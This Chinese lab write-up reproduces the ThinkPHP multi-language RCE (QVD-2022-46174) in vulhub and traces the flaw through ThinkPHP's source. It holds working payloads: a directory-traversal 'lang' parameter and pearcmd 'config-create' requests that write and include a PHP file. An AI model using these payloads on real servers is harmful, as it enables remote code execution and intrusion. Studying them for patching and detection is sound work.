Thinkphp QVD-2022-46174 多语言rce

漏洞介绍

Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x

如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

文件包含漏洞存在的情况下还需要服务器满足下面两个条件才能利用:

  1. PHP环境开启了register_argc_argv
  2. PHP环境安装了pcel/pear

Docker默认的PHP环境恰好满足上述条件。所以先使用vulhub进行漏洞利用的复现

vulhub漏洞搭建

cd vulhub/thinkphp/lang-rce
编译环境
docker-compose build
运行环境
docker-compose up -d

访问 ip:8080

image-20230116155721851

漏洞利用

测试包含public/index.php文件来确认文件包含漏洞是否存在

?lang=../../../../../public/index

如果漏洞存在,则服务器会出错,返回500页面

image-20230116160441349

利用一:写入文件

利用pearcmd写入shell文件

?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php

image-20230116160912793

如果服务器返回pearcmd的命令行执行结果,说明漏洞利用成功

此时访问url/shell.php即可发现已经成功写入文件

image-20230116161039030

利用二:文件包含

使用pearcmd在/tmp文件夹下创建文件再进行包含,P神文章

?lang=../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/shell.php

image-20230116164435443

?lang=../../../../../../../tmp/shell

image-20230116164451808

2023 realword ctf体验赛 中出现了这个利用方法

漏洞分析

TP6在路径app/middleware.php 开启多语言特性

image-20230116144503740

image-20230116144354708

测试漏洞成功

thinkphp程序初始化都会运行src/think/App.php里的initialize()方法

image-20230116174457963

函数中使用this->loadLangPack()获取语言包,跟进loadLangPack()方法

image-20230116175150102

却发现只有加载默认语言包的功能,换一条路

访问

?lang=../../../../../public/index

src/think/middleware/LoadLangPack.php 查看LoadLangPack.php

image-20230116175624231

在 middleware 的 handle() 函数会被调用,这里断在 LoadLangPack.phphandle()

跟进detect()方法

image-20230116175925115

可以看到依次排查了 GET["lang"]HEADER["think-lang"]COOKIE["think_lang"] ,并且将其不做任何过滤,直接赋值给了 $langSet

继续走下去

此时payload被赋值给为参数$langSet。回到loadLangPack函数,下一步执行

$this->request->setLangset($this->lang->range() ) 调用setLangset()

image-20230116203244436 image-20230116203256382

如果返回的 $langset 不等于默认的 langset

那么就会调用 $this->lang->switchLangSet($langset) ,正是在这里面实现了 文件包含

image-20230118114249426

跟进 switchLangSet() ,可以看到调用了 $this->load() ,而传入的参数直接拼接而成文件的路径

image-20230118120954457

继续跟进这个load()

image-20230118121256510

判断文件是否存在,把文件路径又调用给了parse(),跟进parse()

image-20230118121509577

可以看到进行了include文件包含, 造成文件包含漏洞

可以通过目录穿越实现任意 php 文件的包含,那么用 pearcmd 文件包含这个 trick ,就能 RCE 了

参考文章

https://xz.aliyun.com/t/11940

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

https://tttang.com/archive/1865/#toc_thinkphp-6

https://github.com/vulhub/vulhub/blob/master/thinkphp/lang-rce/README.zh-cn.md

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值